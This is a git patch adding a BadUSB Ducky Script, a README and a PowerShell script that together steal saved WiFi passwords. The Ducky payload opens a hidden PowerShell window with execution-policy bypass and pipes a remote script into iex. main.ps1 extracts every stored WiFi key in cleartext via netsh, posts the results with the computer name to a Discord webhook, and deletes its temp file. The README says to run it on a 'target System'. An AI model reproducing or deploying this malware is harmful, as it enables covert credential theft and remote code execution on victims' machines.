From 92cc2989f63c65ff599761d2a09e06047e5e28f4 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Fri, 29 Dec 2023 14:25:40 +0000 Subject: [PATCH] Add files via upload --- .../Discord-WiFi-Grabber.txt | 19 ++++++++++++ Wifi-Networks-to-Discord/README.md | 13 ++++++++ Wifi-Networks-to-Discord/main.ps1 | 31 +++++++++++++++++++ 3 files changed, 63 insertions(+) create mode 100644 Wifi-Networks-to-Discord/Discord-WiFi-Grabber.txt create mode 100644 Wifi-Networks-to-Discord/README.md create mode 100644 Wifi-Networks-to-Discord/main.ps1 diff --git a/Wifi-Networks-to-Discord/Discord-WiFi-Grabber.txt b/Wifi-Networks-to-Discord/Discord-WiFi-Grabber.txt new file mode 100644 index 0000000..96e1644 --- /dev/null +++ b/Wifi-Networks-to-Discord/Discord-WiFi-Grabber.txt @@ -0,0 +1,19 @@ +REM Title: beigeworm's saved WiFi to Discord Webhook. +REM Author: @beigeworm +REM Description: This script collects saved WiFi info and posts results to a discord webhook. +REM Target: Windows 10 + +REM *SETUP* +REM replace DISCORD_WEBHOOK_HERE with your Discord Webhook. + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM open powershell (remove "-W H" to show the window) +DELAY 1000 +GUI r +DELAY 750 +STRING powershell -NoP -Ep Bypass -W H -C $dc='DISCORD_WEBHOOK_HERE'; irm https://raw.githubusercontent.com/beigeworm/assets/main/Scripts/DC-WiFi-Grab.ps1 | iex +ENTER + + diff --git a/Wifi-Networks-to-Discord/README.md b/Wifi-Networks-to-Discord/README.md new file mode 100644 index 0000000..703fa1c --- /dev/null +++ b/Wifi-Networks-to-Discord/README.md @@ -0,0 +1,13 @@ + +

Saved Wifi Networks to Discord

+ +SYNOPSIS + +This script gathers WiFi information and posts to a discord webhook address with the results. + +USAGE + +1. Input your credentials below +2. Run Script on target System +3. Check Discord for results + diff --git a/Wifi-Networks-to-Discord/main.ps1 b/Wifi-Networks-to-Discord/main.ps1 new file mode 100644 index 0000000..ce821d5 --- /dev/null +++ b/Wifi-Networks-to-Discord/main.ps1 @@ -0,0 +1,31 @@ +$whuri = "$dc" +$outfile="" +$a=0 +$ws=(netsh wlan show profiles) -replace ".*:\s+" +foreach($s in $ws){ + if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "" -And $s.length -gt 5){ + $ssid=$s.Trim() + if($s -Match ":"){ + $ssid=$s.Split(":")[1].Trim() + } + $pw=(netsh wlan show profiles name=$ssid key=clear) + $pass="None" + foreach($p in $pw){ + if($p -Match "Key Content"){ + $pass=$p.Split(":")[1].Trim() + $outfile+="SSID: $ssid : Password: $pass`n" + } + } + } + $a++ + } + +$outfile | Out-File -FilePath "$env:temp\info.txt" -Encoding ASCII -Append + +$Pathsys = "$env:temp\info.txt" +$msgsys = Get-Content -Path $Pathsys -Raw +$escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&').Replace('<', '<').Replace('>', '>')} +$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json +Start-Sleep 1 +Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys +Remove-Item -Path $Pathsys -force